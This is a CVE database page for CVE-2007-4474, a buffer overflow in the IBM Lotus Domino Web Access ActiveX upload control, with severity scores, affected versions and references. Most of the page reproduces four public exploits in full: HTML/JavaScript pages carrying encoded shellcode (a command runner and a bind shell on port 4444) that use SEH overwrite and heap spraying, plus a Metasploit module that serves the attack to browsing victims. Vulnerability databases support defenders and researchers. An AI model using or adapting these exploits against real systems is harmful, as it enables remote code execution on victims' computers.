CVE-2007-4474 : Detail

CVE-2007-4474

Overflow
93.48%V3
Network
2007-12-27
21h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple stack-based buffer overflows in the IBM Lotus Domino Web Access ActiveX control, as provided by inotes6.dll, inotes6w.dll, dwa7.dll, and dwa7w.dll, in Domino 6.x and 7.x allow remote attackers to execute arbitrary code, as demonstrated by an overflow from a long General_ServerName property value when calling the InstallBrowserHelperDll function in the Upload Module in the dwa7.dwa7.1 control in dwa7w.dll 7.0.34.1.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4818

Publication date : 2007-12-29 23h00 +00:00
Author : Elazar
EDB Verified : Yes

<!-- written by e.b. IBM Domino Web Access Upload Module inotes6.dll SEH Overwrite Exploit Bad chars: 0x80+ CVE-2007-4474 Tested on Windows XP SP2(fully patched) English, IE6, inotes6.dll version 6.0.40.0 and version 6.0.48.0 Thanks to str0ke for pointing me in the right direction and to h.d.m. and the Metasploit crew --> <html> <head> <title>IBM Domino Web Access Upload Module inotes6.dll SEH Overwrite Exploit</title> <script language="JavaScript" defer> function Check() { var buf = 'A'; while (buf.length <= 3119) buf = buf + 'A'; // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" + "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" + "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" + "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" + "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" + "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" + "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" + "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" + "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" + "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" + "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" + "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" + "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" + "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" + "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" + "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" + "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" + "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" + "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" + "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" + "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" + "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" + "%4e%31%75%74%38%70%65%77%70%43"); // win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com var shellcode2 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%49%49%49%49%49%49%49%49%49%49%37%49%51%5a%6a%43" + "%58%30%42%31%50%41%42%6b%41%41%53%41%32%41%41%32" + "%42%41%30%42%41%58%50%38%41%42%75%78%69%4b%4c%72" + "%4a%58%6b%52%6d%4a%48%4a%59%6b%4f%6b%4f%69%6f%41" + "%70%4e%6b%52%4c%74%64%41%34%6e%6b%37%35%55%6c%4c" + "%4b%71%6c%64%45%61%68%74%41%6a%4f%6e%6b%62%6f%32" + "%38%6c%4b%33%6f%37%50%55%51%78%6b%31%59%6c%4b%50" + "%34%6e%6b%46%61%68%6e%45%61%6f%30%6c%59%6c%6c%6b" + "%34%39%50%41%64%37%77%68%41%69%5a%56%6d%63%31%4b" + "%72%78%6b%6c%34%75%6b%56%34%31%34%57%58%54%35%6b" + "%55%6e%6b%33%6f%55%74%74%41%78%6b%41%76%4c%4b%46" + "%6c%62%6b%6e%6b%41%4f%35%4c%56%61%68%6b%66%63%36" + "%4c%6c%4b%6b%39%72%4c%44%64%57%6c%61%71%4f%33%47" + "%41%6b%6b%33%54%4c%4b%63%73%70%30%6c%4b%53%70%64" + "%4c%6c%4b%72%50%45%4c%4e%4d%6c%4b%37%30%75%58%73" + "%6e%42%48%4c%4e%52%6e%46%6e%58%6c%56%30%39%6f%58" + "%56%71%76%46%33%72%46%63%58%30%33%70%32%33%58%54" + "%37%52%53%45%62%51%4f%50%54%4b%4f%5a%70%33%58%6a" + "%6b%68%6d%59%6c%45%6b%46%30%49%6f%59%46%73%6f%4e" + "%69%58%65%73%56%4d%51%58%6d%36%68%64%42%72%75%72" + "%4a%67%72%59%6f%6e%30%72%48%4a%79%56%69%6b%45%6e" + "%4d%76%37%6b%4f%58%56%33%63%30%53%50%53%76%33%70" + "%53%33%73%53%63%37%33%56%33%6b%4f%5a%70%32%46%50" + "%68%35%41%71%4c%30%66%33%63%6c%49%6d%31%6a%35%70" + "%68%6e%44%35%4a%52%50%4b%77%71%47%4b%4f%4e%36%30" + "%6a%52%30%31%41%70%55%59%6f%6e%30%30%68%6c%64%4c" + "%6d%54%6e%79%79%31%47%59%6f%59%46%46%33%66%35%6b" + "%4f%58%50%63%58%4b%55%73%79%4c%46%41%59%63%67%4b" + "%4f%78%56%76%30%53%64%41%44%33%65%79%6f%4e%30%4e" + "%73%71%78%58%67%61%69%69%56%71%69%62%77%39%6f%6a" + "%76%51%45%49%6f%4e%30%51%76%53%5a%71%74%72%46%62" + "%48%30%63%30%6d%6c%49%5a%45%63%5a%62%70%76%39%31" + "%39%58%4c%4e%69%4d%37%53%5a%33%74%4e%69%4b%52%56" + "%51%4b%70%6c%33%6f%5a%49%6e%33%72%44%6d%6b%4e%37" + "%32%76%4c%6e%73%6c%4d%70%7a%76%58%6c%6b%4e%4b%4c" + "%6b%73%58%53%42%79%6e%6d%63%74%56%6b%4f%30%75%70" + "%44%4b%4f%79%46%53%6b%70%57%70%52%71%41%50%51%42" + "%71%41%7a%33%31%42%71%41%41%51%45%66%31%69%6f%5a" + "%70%50%68%6e%4d%5a%79%56%65%68%4e%33%63%39%6f%58" + "%56%63%5a%4b%4f%4b%4f%70%37%4b%4f%4a%70%4c%4b%61" + "%47%6b%4c%4d%53%6b%74%31%74%49%6f%59%46%70%52%59" + "%6f%4e%30%63%58%6c%30%6f%7a%57%74%61%4f%32%73%4b" + "%4f%68%56%39%6f%38%50%43"); var next_seh_pointer = unescape("%EB%06%90%90"); //2 byte jump //oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - retbis //no SafeSEH var seh_handler = unescape("%50%69%C9%74"); var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90"); var m = buf + next_seh_pointer + seh_handler + nop + shellcode1 + nop; obj.General_ServerName = m; obj.InstallBrowserHelperDll(); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:3BFFE033-BF43-11D5-A271-00A024A51325"> Unable to create object </object> </body> </html> # milw0rm.com [2007-12-30]
Exploit Database EDB-ID : 4820

Publication date : 2007-12-29 23h00 +00:00
Author : Elazar
EDB Verified : Yes

<!-- written by e.b. IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit CVE-2007-4474 Tested on Windows XP SP2(fully patched) English, IE6, dwa7w.dll version 7.0.34.1 Thanks to h.d.m. and the Metasploit crew --> <html> <head> <title>IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit</title> <script language="JavaScript" defer> function Check() { var buf = unescape("%u4141"); while (buf.length <= 2461) buf = buf + unescape("%u4141"); // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" + "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" + "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" + "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" + "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" + "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" + "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" + "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" + "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" + "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" + "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" + "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" + "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" + "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" + "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" + "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" + "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" + "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" + "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" + "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" + "%u314e%u7475%u7038%u7765%u4370"); // win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" + "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" + "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" + "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" + "%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" + "%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" + "%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" + "%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" + "%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" + "%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" + "%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" + "%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" + "%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" + "%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" + "%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" + "%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" + "%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" + "%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" + "%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" + "%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" + "%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" + "%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" + "%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" + "%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" + "%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" + "%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" + "%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" + "%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" + "%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" + "%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" + "%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" + "%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" + "%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" + "%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" + "%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" + "%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" + "%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" + "%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" + "%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" + "%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" + "%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" + "%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" + "%u684f%u3956%u386f%u4350"); var next_seh_pointer = unescape("%u06EB%u9090"); //2 byte jump //oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - retbis //no SafeSEH var seh_handler = unescape("%u6950%u74C9"); var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090"); var m = buf + next_seh_pointer + seh_handler + nop + shellcode1 + nop; obj.General_ServerName = m; obj.InstallBrowserHelperDll(); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B"> Unable to create object </object> </body> </html> # milw0rm.com [2007-12-30]
Exploit Database EDB-ID : 5111

Publication date : 2008-02-12 23h00 +00:00
Author : Elazar
EDB Verified : Yes

<!-- written by e.b. IBM Domino Web Access Upload Module Universal BoF Exploit CVE-2007-4474 Tested on Windows XP SP2(fully patched) English, IE6 and IE7 dwa7w.dll version 7.0.34.1 inotes6.dll version 6.0.40.0 and version 6.0.48.0 inotes6w.dll version 6.0.48.0 Thanks to h.d.m. and the Metasploit crew --> <html> <head> <title>IBM Domino Web Access Upload Module Universal BoF Exploit</title> <script language="JavaScript" defer> function Check() { // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" + "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" + "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" + "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" + "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" + "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" + "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" + "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" + "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" + "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" + "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" + "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" + "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" + "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" + "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" + "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" + "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" + "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" + "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" + "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" + "%u314e%u7475%u7038%u7765%u4370"); // win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4949%u4949%u4849%u4949%u4949%u4949%u5a51%u686a" + "%u5058%u4230%u4131%u6b42%u4142%u4278%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u414c" + "%u6a7a%u304b%u4d4d%u3838%u4b79%u494f%u4b6f%u514f" + "%u6e70%u506b%u666c%u6444%u6c64%u434b%u5575%u4c6c" + "%u334b%u654c%u5055%u5478%u5a41%u6c4f%u704b%u454f" + "%u4e48%u716b%u754f%u3770%u5871%u506b%u6e49%u346b" + "%u6e74%u366b%u4a61%u774e%u4f41%u4e30%u4c79%u4f6c" + "%u4f74%u3030%u5674%u7967%u6b51%u447a%u434d%u4931" + "%u7a52%u4b4b%u4544%u706b%u4154%u3134%u5238%u7955" + "%u6e75%u436b%u746f%u6364%u3831%u656b%u4e36%u766b" + "%u706c%u4c4b%u334b%u576f%u346c%u5a41%u764b%u6663" + "%u6e4c%u6b6b%u5039%u666c%u5744%u326c%u6f41%u4433" + "%u4971%u754b%u4c34%u324b%u6663%u4c50%u734b%u6670" + "%u4e6c%u306b%u7570%u4c4c%u4c6d%u734b%u5770%u3378" + "%u416e%u4c78%u724e%u466e%u386e%u706c%u5950%u696f" + "%u7546%u7236%u3073%u6566%u3638%u4653%u6252%u6248" + "%u5257%u3653%u5352%u306f%u5954%u786f%u6250%u5a48" + "%u486b%u4b6d%u754c%u466b%u3930%u5a6f%u6176%u4e4f" + "%u4d69%u3035%u6e66%u7a61%u374d%u3778%u7672%u3035" + "%u346a%u7942%u4e6f%u3330%u5a58%u3779%u6b79%u4c45" + "%u726d%u6977%u6a6f%u4376%u7063%u5353%u5363%u5163" + "%u4143%u7253%u7373%u6173%u6b43%u4e4f%u7330%u4356" + "%u5758%u7361%u536c%u7656%u4e33%u5969%u4e71%u3575" + "%u6938%u6534%u424a%u6f50%u3137%u6b47%u6b4f%u3066" + "%u726a%u3030%u6351%u4965%u386f%u5550%u6f38%u4e54" + "%u364d%u4d4e%u3139%u4b47%u6a4f%u6276%u7673%u6b35" + "%u6e4f%u5330%u5858%u5265%u6e69%u7366%u7379%u3967" + "%u4e6f%u7236%u7070%u6254%u7274%u5975%u586f%u4c50" + "%u3553%u6b38%u7157%u6f69%u3036%u6679%u7937%u6e6f" + "%u7036%u6b55%u6e4f%u3530%u7236%u724a%u7044%u7166" + "%u4278%u3243%u6e4d%u6b69%u5055%u506a%u5150%u3549" + "%u5a79%u4f6c%u6d79%u3337%u535a%u4d74%u7a59%u3742" + "%u4941%u4a50%u4e53%u6b4a%u714e%u3452%u696d%u436e" + "%u4472%u4d6c%u4c43%u634d%u704a%u4e38%u6e4b%u4e4b" + "%u454b%u7038%u6b72%u6d4e%u6563%u7946%u506f%u5075" + "%u5944%u696f%u5146%u624b%u6377%u3662%u4331%u6161" + "%u7041%u366a%u3361%u4361%u7161%u5645%u3931%u4a6f" + "%u3270%u4e48%u5a4d%u3379%u5835%u614e%u3943%u4b6f" + "%u7366%u6b5a%u6b4f%u544f%u7977%u386f%u6c50%u534b" + "%u5967%u4d6c%u4f53%u4234%u4b44%u494f%u5146%u5942" + "%u586f%u5550%u3338%u394e%u6948%u4372%u6643%u4933" + "%u396f%u6946%u586f%u6850"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize + shellcode1.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 400; i++){ memory[i] = block + shellcode1 } try { dwa7w.General_ServerName = makeBuf(1); dwa7w.InstallBrowserHelperDll(); inotes6.General_ServerName = makeBuf(1); //switch to 0 for inotes6 inotes6.InstallBrowserHelperDll(); } catch(err) {} } function makeBuf(unicode) { var junk = "" for (i = 0; i < 2000; i++) { junk = junk + unescape("%u4141") } var jmp = "" if (unicode == 1) { for (i = 0; i < 900; i++) { jmp = jmp + unescape("%u0E0E") } } else { for (i = 0; i < 900; i++) { jmp = jmp + unescape("%0E%0E") } } var m = junk + jmp; return m; } </script> </head> <body onload="JavaScript: return Check();"> <object id="dwa7w" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B"> Unable to create object </object> <object id="inotes6" classid="clsid:3BFFE033-BF43-11D5-A271-00A024A51325"> Unable to create object </object> </body> </html> # milw0rm.com [2008-02-13]
Exploit Database EDB-ID : 16502

Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ibmlotusdomino_dwa_uploadmodule.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Lotus Domino Web Access Upload Module Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in IBM Lotus Domino Web Access Upload Module. By sending an overly long string to the "General_ServerName()" property located in the dwa7w.dll and the inotes6w.dll control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2007-4474' ], [ 'OSVDB', '40954' ], [ 'BID', '26972' ], [ 'URL', 'http://milw0rm.com/exploits/4820' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Ret' => 0x0C0C0C0C } ] ], 'DisclosureDate' => 'Dec 20 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape(make_nops(4)) junk = Rex::Text.to_unescape(rand_text_alpha(2)) ret = Rex::Text.to_unescape([target.ret].pack('V')) blocksize = 0x30000 fillto = 400 # Randomize the javascript variable names dwa7w = rand_text_alpha(rand(100) + 1) inotes6 = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_ret = rand_text_alpha(rand(100) + 1) j_junk = rand_text_alpha(rand(100) + 1) # Build out the message content = <<-EOF <html> <object classid='clsid:E008A543-CEFB-4559-912F-C27C2B89F13B' id='#{dwa7w}'></object> <object classid='clsid:3BFFE033-BF43-11D5-A271-00A024A51325' id='#{inotes6}'></object> <script language='javascript'> #{j_shellcode} = unescape('#{shellcode}'); #{j_nops} = unescape('#{nops}'); #{j_headersize} = 20; #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace}); #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace}); while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; #{j_memory} = new Array(); for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; #{j_ret} = unescape('#{ret}'); while (#{j_ret}.length < 450) #{j_ret} += #{j_ret}; #{j_junk} = unescape('#{junk}'); while (#{j_junk}.length < 2000) #{j_junk} += #{j_junk}; try { #{dwa7w}.General_ServerName = #{j_junk} + #{j_ret}; #{dwa7w}.InstallBrowserHelperDll(); } catch(err) {} try { #{inotes6}.General_ServerName = #{j_junk} + #{j_ret}; #{inotes6}.InstallBrowserHelperDll(); } catch(err) {} </script> </html> EOF print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end

Products Mentioned

Configuraton 0

Ibm>>Domino_web_access >> Version 6.0

Ibm>>Domino_web_access >> Version 6.0.1

Ibm>>Domino_web_access >> Version 6.0.1.1

Ibm>>Domino_web_access >> Version 6.0.2

Ibm>>Domino_web_access >> Version 6.0.3

Ibm>>Domino_web_access >> Version 6.0.4

Ibm>>Domino_web_access >> Version 6.0.5

Ibm>>Domino_web_access >> Version 6.5

Ibm>>Domino_web_access >> Version 6.5.1

Ibm>>Domino_web_access >> Version 6.5.2

Ibm>>Domino_web_access >> Version 6.5.3

Ibm>>Domino_web_access >> Version 6.5.4

Ibm>>Domino_web_access >> Version 6.5.5

Ibm>>Domino_web_access >> Version 7.0

Ibm>>Domino_web_access >> Version 7.0.1

Ibm>>Lotus_domino_web_access >> Version 7.0.1

Ibm>>Lotus_domino_web_access >> Version 7.0.34.1

    References

    http://www.securitytracker.com/id?1019138
    Tags : vdb-entry, x_refsource_SECTRACK
    https://www.exploit-db.com/exploits/5111
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/26972
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/4820
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.kb.cert.org/vuls/id/963889
    Tags : third-party-advisory, x_refsource_CERT-VN
    http://www.vupen.com/english/advisories/2007/4296
    Tags : vdb-entry, x_refsource_VUPEN
    http://secunia.com/advisories/28184
    Tags : third-party-advisory, x_refsource_SECUNIA
    https://www.exploit-db.com/exploits/4818
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://osvdb.org/40954
    Tags : vdb-entry, x_refsource_OSVDB